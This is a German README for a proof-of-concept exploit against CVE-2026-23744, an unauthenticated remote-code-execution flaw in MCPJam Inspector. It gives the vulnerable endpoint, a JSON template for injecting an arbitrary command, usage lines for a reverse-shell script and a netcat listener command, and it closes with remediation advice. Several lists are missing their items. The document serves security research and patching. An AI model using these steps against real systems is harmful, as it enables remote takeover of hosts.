
Proof-of-Concept-Exploit für CVE-2026-23744, eine nicht authentifizierte RCE in MCPJam Inspector. Bietet Reverse Shell und Befehlsausführung über einen angreifbaren API-Endpunkt.
CVE-2026-23744 ist eine kritische unangemeldete Remote-Codeausführung (RCE)-Schwachstelle, die MCPJam Inspector ≤ 1.4.2 betrifft. Das Problem entsteht, weil der Inspector einen Management-Endpoint (/api/mcp/connect) bereitstellt, der eine benutzergesteuerte MCP-Serverkonfiguration akzeptiert und ohne ausreichende Authentifizierung oder Sicherheitseinschränkungen eine Prozessausführung auslösen kann. Betroffene Versionen lauschen standardmäßig auf 0.0.0.0 (allen Schnittstellen) anstatt auf localhost, was eine Remote-Ausnutzung ermöglicht, sofern der Dienst netzwerkerreichbar ist.
Die Schwachstelle ist mit dem folgenden Endpoint verbunden:
POST /api/mcp/connect
Der Endpoint akzeptiert ein JSON-Objekt mit einer Serverkonfiguration, z.B.:
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
Diese bereitgestellte Konfiguration wird dann von MCPJam Inspector verwendet, um einen neuen MCP-Serverprozess zu erstellen und zu verwalten. Da der Endpoint keine ausreichende Authentifizierung und Sicherheitskontrollen besitzt, kann ein Angreifer beliebige Prozessdefinitionen einreichen, die vom Inspector-Dienst ausgeführt werden.
Im Kern handelt es sich um eine Fehlende Authentifizierung für kritische Funktion (CWE-306)-Schwachstelle, bei der die Anwendung Funktionalität, die für vertrauenswürdige lokale Benutzer vorgesehen ist, über das Netzwerk ohne ausreichende Sicherheitsprüfungen zugänglich macht.
Die Schwachstelle entsteht durch zwei Designfehler:
0.0.0.0.Der resultierende Angriffspfad kann wie folgt visualisiert werden:
Angreifer → /api/mcp/connect → Prozesserstellung → Betriebssystem
Da die Anwendung direkt mit der Betriebssystem-Prozesserstellung interagiert, kann eine erfolgreiche Ausnutzung zu beliebiger Befehlsausführung im Sicherheitskontext des MCPJam Inspector-Dienstes führen.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (oder) --target: Ziel-URL oder Ziel-IP-Adresse.-tport (oder) --target-port: Zielport für die Verbindung; in den meisten Fällen 6274 für MCPJam Inspector. Verwenden Sie dieses Argument nicht, wenn MCPJam Inspector an anderer Stelle gehostet wird, z.B. in einer Subdomain oder einem virtuellen Host. Geben Sie stattdessen die Subdomain oder den virtuellen Host mit dem Argument -t an.-lhost (oder) --local-host: Öffentliche IP-Adresse für die Reverse-Shell, zu der zurückverbunden werden soll.-lport (oder) --local-port: Port, der für die Reverse-Shell verwendet werden soll.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (oder) --command: Befehl, der auf dem Ziel ausgeführt werden soll.Vor der Verwendung dieses Programms müssen Sie zuerst einen Listener auf Ihrem lokalen Rechner mit Netcat starten.
Dazu verwenden Sie den folgenden Befehl:
nc -lvnp <port>
Führen Sie dann den obigen Befehl aus, um eine Reverse-Shell auf dem Ziel zu erhalten.
Eine erfolgreiche Ausnutzung kann einem Angreifer Folgendes ermöglichen:
Der Schwachstelle wurde ein CVSS v3.1-Score von 9.8 (Kritisch) zugewiesen, aufgrund des netzwerkbasierten Angriffsvektors, fehlender Authentifizierung, fehlender Benutzerinteraktion und hohen Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit.
Aktualisieren Sie sofort auf MCPJam Inspector 1.4.3 oder höher. Zusätzliche Schutzmaßnahmen umfassen:
Dieser PoC dient ausschließlich zu Bildungszwecken, defensiver Sicherheitsforschung und autorisierten Sicherheitstests. Er sollte nur gegen Systeme mit ausdrücklicher Genehmigung verwendet werden. Die unbefugte Nutzung gegen Drittsysteme kann gegen geltende Gesetze und Vorschriften verstoßen. Der Eigentümer dieses Repositoriums ist nicht verantwortlich für Schäden, die durch die Nutzung dieses Programms entstehen.